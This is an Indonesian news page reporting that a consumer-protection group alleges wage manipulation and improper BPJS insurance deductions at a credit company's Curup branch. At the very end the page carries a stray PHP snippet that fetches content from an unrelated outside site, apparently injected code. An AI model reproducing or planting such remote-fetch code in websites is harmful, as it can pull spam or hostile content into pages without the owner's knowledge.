Ketua Perkumpulan Lembaga Perlindungan Konsumen Mitra Sejahtera Akan melayangkan Pengaduan Dugaan Pelanggaran Dari PT. Master Cabang Curup

Sabtu, 27 Februari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

JejakKasus.info | Bengkulu – PT. Master Cabang Curup yang beralamat di Kabupaten Rejang Lebong Provinsi Bengkulu ini yang bergerak dibidang Pembiayaan kredit Alat Elektronik,Furnitur dan Alat Rumah tangga lainnya yang berdiri prusahaan tersebut semenjak dari Tahun 2011 di bawah naungan prusahaan PT. Prioritas Grup sebagai mana yang kita ketahui pemilik prusahaan tersebut orang penting ternama Salah satu Anggota DPD RI Atas Nama: MOH. SOLEH

Dalam penyelesaian Perkara salah satu mantan karyawati Ats Nama ST. Tentang tuntutan pesangonnya yang sudah selesai.

Baca Juga:  Pemdes Desa Air Hitam Adakan Kegiatan Pembagian BLT-DD Ke Warga Berjalan Sukses

“Naimi sebagai Warga Negara Indonesia dan Masyarakat Yang berdomisili di Provinsi Bengkulu Bentuk sangat kecewa sekali terhadap pihak oknum pengelolaan prusahaan PT. Masker Curup, sebagai pimpinan prusahaan yaitu KS dan EK yang melakukan perbuatan sewenang – wenang dengan pihak karyawan dan karyawati yang memang sengaja melakukan manipulasi data, merampas hak dari karyawan, karyawati selama pertahun ” kata Naimi ketua ( LPKS )

Lanjut kata beliau Salah satu contoh tentang kasus perkara SN ini tadi dengan memberikan gaji tidur sesuai dengan UMR dengan memotong iuran angsuran BPJS ketenagakerjaan yang tidak sesuai dengan UU yang ada gaji yang di Terima di slip gaji Rp: 1500,000 di laporan di BPJS KETENAGAKERJAAN RP: 2200,000 Dengan memotong gaji untuk iuran BPJS ketenaga kerjaan setiap bulan Rp: 82000 dari gaji upah yang diterima sedang kan jelas dalam peraturan UU 5,7% dengan rincian 3,7% dari pihak perusahaan 2% dari upah gaji yang diterima dan sudah bertahun-tahun yang dilakukan oleh para oknum pimpinan prusahaan masker Curup dan banyak korban SN lainnya. Kata beliau.

Baca Juga:  Diduga Kepala Sekolah SMP Negeri 01 Kepahiang Jarang Ngantor

Saya sangat menyayangkan sekali dalam hal ini dibiarkan saja oleh pihak pemilik prusahaan seharusnya Moh. Sole dapat bertindak tegas dalam permasalahan ini dan segera memecat oknum tersebut demi menjaga nama baik prusahaan dan Bpk DPD RI, NAIMI akan segera melaporkan kepihak kementerian ketenagakerjaan apabila tidak ada tidakan yang tegas dari pihak terkait. Pungkas nya. ( Yadi )

Baca Juga:  Pemkab Pringsewu Sampaikan Ranperda RTRW 2022-2042
Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan
Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi
Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan
Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali
DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung
Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat
Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi
Tag :

Berita Terkait

Minggu, 13 Oktober 2024 - 19:18 WIB

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan

Minggu, 13 Oktober 2024 - 09:25 WIB

Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi

Sabtu, 12 Oktober 2024 - 20:32 WIB

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara

Sabtu, 12 Oktober 2024 - 18:48 WIB

Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Jumat, 11 Oktober 2024 - 23:50 WIB

Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>